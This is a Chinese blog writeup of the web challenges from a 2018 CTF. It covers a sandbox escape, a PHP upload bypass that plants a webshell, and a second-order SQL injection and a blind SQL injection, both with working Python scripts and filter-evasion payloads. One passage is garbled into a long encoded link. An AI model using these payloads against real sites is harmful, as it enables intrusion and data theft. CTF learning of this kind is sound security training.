[网鼎杯] 第二场web writeup
2018-08-24 本文已影响10人
ckj123
网鼎杯 第二场 web writeup
向信安之路的老哥要了一个账号,赛后开始做题
web
calc

可以这个计算机很厉害
既然说一定要写好正则,说明正则很重要
感觉是道沙箱逃逸题正好学习一下
可是怎么绕过正则
https://www.anquanke.com/post/id/85571
他没有最后的$,所以后面应该可以输入很多字符,截止


来了一个int和不能str相加,name把后面的换成int呢

答案直接出来了。还行=。=
试了一下发现直接那个不行的原因是因为我加了一个回车,如果不加回车就可以了


这样就可以了=。=
wafUpload
进图给源码真棒
<?php
$sandbox = '/var/www/html/upload/' . md5("phpIsBest" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (!empty($_FILES['file'])) {
#mime check
if (!in_array($_FILES['file']['type'], ['image/jpeg', 'image/png', 'image/gif'])) {
die('This type is not allowed!');
}
#check filename
$file = empty($_POST['filename']) ? $_FILES['file']['name'] : $_POST['filename'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
if (!in_array($ext, ['jpg', 'png', 'gif'])) {
die('This file is not allowed!');
}
$filename = reset($file) . '.' . $file[count($file) - 1];
if (move_uploaded_file($_FILES['file']['tmp_name'], $sandbox . '/' . $filename)) {
echo 'Success!';
echo 'filepath:' . $sandbox . '/' . $filename;
} else {
echo 'Failed!';
}
}
show_source(__file__);
?>
先上传再说

黑人问号我给你jpg居然不允许=。=我看看源码

看了一下代码所以他是先看filename,我刚刚在上传的时候把filename改成了test,所以上传失败了


reset函数
reset() 将 array 的内部指针倒回到第一个单元并返回第一个数组单元的值。

直接命名为jpg也是可以上传的

判断了这个
 突然想到in_array是弱类型判断,如果最后没有加上strict参数,漏洞估计在这  我觉得可以上传一个数组,filename[0]=xxx.php,filename[1]=000 然后构成一个xxx.php.00 利用apache的解析漏洞来实现shell试一试可是,上传上去的是个字符串无法实现。。 但是cout(\](https://math.jianshu.com/math?formula=file%E6%98%AF%E4%B8%8D%E6%98%AF%E6%95%B0%E7%BB%84%EF%BC%8C%E6%98%AF%E4%B8%BA%E4%BA%86%E5%8C%BA%E5%88%AB%E6%9C%89%E6%B2%A1%E6%9C%89%E5%8F%96%E5%90%8D%E5%AD%97%E5%90%A7%20!%5B%5D(http%3A%2F%2Fpbolw7iuc.bkt.clouddn.com%2F15350280496059.jpg)%20%E7%AA%81%E7%84%B6%E6%83%B3%E5%88%B0in_array%E6%98%AF%E5%BC%B1%E7%B1%BB%E5%9E%8B%E5%88%A4%E6%96%AD%EF%BC%8C%E5%A6%82%E6%9E%9C%E6%9C%80%E5%90%8E%E6%B2%A1%E6%9C%89%E5%8A%A0%E4%B8%8Astrict%E5%8F%82%E6%95%B0%EF%BC%8C%E6%BC%8F%E6%B4%9E%E4%BC%B0%E8%AE%A1%E5%9C%A8%E8%BF%99!%5B%5D(http%3A%2F%2Fpbolw7iuc.bkt.clouddn.com%2F15350280955431.jpg)%20!%5B%5D(http%3A%2F%2Fpbolw7iuc.bkt.clouddn.com%2F15350286804344.jpg)%20%E6%88%91%E8%A7%89%E5%BE%97%E5%8F%AF%E4%BB%A5%E4%B8%8A%E4%BC%A0%E4%B8%80%E4%B8%AA%E6%95%B0%E7%BB%84%EF%BC%8Cfilename%5B0%5D%3Dxxx.php%2Cfilename%5B1%5D%3D000%20%E7%84%B6%E5%90%8E%E6%9E%84%E6%88%90%E4%B8%80%E4%B8%AAxxx.php.00%20%E5%88%A9%E7%94%A8apache%E7%9A%84%E8%A7%A3%E6%9E%90%E6%BC%8F%E6%B4%9E%E6%9D%A5%E5%AE%9E%E7%8E%B0shell%E8%AF%95%E4%B8%80%E8%AF%95%E5%8F%AF%E6%98%AF%EF%BC%8C%E4%B8%8A%E4%BC%A0%E4%B8%8A%E5%8E%BB%E7%9A%84%E6%98%AF%E4%B8%AA%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%97%A0%E6%B3%95%E5%AE%9E%E7%8E%B0%E3%80%82%E3%80%82%20%E4%BD%86%E6%98%AFcout(%5C)
那么filename[1]就为空了


写进去了,掏出蚁剑
一直连不上才发现其实并没有写进去

命名为php.php/. 其实上传的还是php.php连上蚁剑,终于成功了。。


找到flag
unfinished
这个loli挺可爱

进去一看源码连个注册地方都没有,那么试一下register.php
果然在这

耶成功登录

???什么都没有,就只有一个adsl1234
我猜测应该是二次注入,连给的信息都只有一个用户名,跟强网杯的应该差不对
从用户名下手

并没有成功,看样子不用16进制

逗号被过滤了


注进去了!
为什么是1呢。总不可能是盲注吧。既然注释符不能用就构造为真就好了

这样就可以了

解出来是web
那么继续

被过滤了,看样子不行,
information_schema
原来是这个被过滤了必须要两次hex才可以把所有的数据拿出来一次不知道为啥不行=。=
脚本
import requests
import string
import re as r
ch = string.ascii_lowercase+string.digits+'-}'+'{'
re = requests.session()
url = 'http://9daeec995ba44773ba0af4a02d87163e89bcd352b4694337.game.ichunqiu.com/'
def register(email,username):
url1 = url+'register.php'
data = dict(email = email, username = username,password = 'adsl1234')
html = re.post(url1,data=data)
html.encoding = 'utf-8'
return html
def login(email):
url2 = url+'login.php'
data = dict(email = email,password = 'adsl1234')
html = re.post(url2, data=data)
html.encoding = 'utf-8'
return html
f = ''
for j in range(0,17):
payload = "0'^(select substr(hex(hex((select * from flag))) from {} for {}))^'0".format(int(j)*10+1,10)
email = '{}@qq.com'.format(str(j)+'14')
html = register(email,payload)
# print html.text
html = login(email)
try:
res = r.findall(r'<span class="user-name">(.*?)</span>',html.text,r.S)
flag = res[0][1:].strip()
print flag
f += flag
print f
print f.decode('hex').decode('hex')
except:
print "problem"

sqlweb
既然说admin也拿不到flag=。=那肯定是注入咯
噗感觉很简单是一个盲注题
密码错误也会显示出来
现在要看看过滤了啥

太良心了!良心题过滤了啥都有
单引号没过滤就没啥问题
不能有空格没问题,可以用括号
先本地测试一下

成功了一半 if 和mid并没有过滤
那么空格用括号来绕过
逗号用from for来绕过
等号可以用strcmp,在测试一下

在处理一下空格
''^(strcmp(mid((select(username)from(users)where(id=1))from(1)for(1)),'c')
ok了
脚本,也只能注入password啥都被过滤了

突然发现strcmp也是有逗号的,只能用in函数了
import requests
import string
ch = string.ascii_lowercase+string.digits+'-}'+'{'
re = requests.session()
url = 'http://53b00b880684449d8b9784e95a0202e28dd6259b4ead4cda.game.ichunqiu.com/sql.php'
flag = ''
for i in range(1,100):
for j in ch:
payload = "admin'&&mid((passwd)from({})for(1))in('{}')/**/limit/**/1#".format(i,j)
data = dict(uname=payload,passwd='adsl1234',submit='login')
# print data
html = re.post(url, data=data)
# print html.text
if 'passwd' in html.text:
flag += j
print flag
break
出来admin的密码是admin123
然后登录显示要吴彦祖的账号密码
把上面的admin换成wuyanzu就可以了
